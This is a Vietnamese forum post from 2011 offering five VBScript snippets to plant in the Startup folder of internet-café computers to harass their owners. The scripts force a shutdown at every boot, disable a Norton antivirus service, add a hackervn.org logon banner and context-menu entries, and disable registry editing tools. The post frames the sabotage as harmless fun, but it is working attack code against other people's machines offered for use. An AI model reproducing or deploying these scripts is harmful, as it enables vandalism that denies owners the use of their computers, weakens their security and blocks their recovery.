Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.



 
Trang ChínhAi ghét chủ quán net có cách để quậy nè.VIP I_icon_mini_portalTìm kiếmĐăng kýĐăng Nhập

 

 Ai ghét chủ quán net có cách để quậy nè.VIP

Go down 
Tác giảThông điệp
T.luan-speedking-10a3

T.luan-speedking-10a3

Tổng số bài gửi : 53
A3 Dollar : 194
Reputation : 2
Join date : 22/10/2010
Age : 25
Đến từ : 10a3

Ai ghét chủ quán net có cách để quậy nè.VIP Empty
Bài gửiTiêu đề: Ai ghét chủ quán net có cách để quậy nè.VIP   Ai ghét chủ quán net có cách để quậy nè.VIP Icon_minitime1Wed Apr 06, 2011 10:39 am

Đây là một vài trò chơi anh em xem ghét ông chủ quán nào thì làm tí cho vui thôi nhé.

Bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:

1.Trò chơi thứ nhất: không cho khởi động máy:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"

3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hackervn.org"
wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"

4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\",""
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood"

5.Trò chơi này đảm bảo làm cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của người ta :
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"
Về Đầu Trang Go down
 
Ai ghét chủ quán net có cách để quậy nè.VIP
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: ♥o♥ ...Công nghệ thông tin... ♥o♥ :: [T]hủ thuật window[s]-
Chuyển đến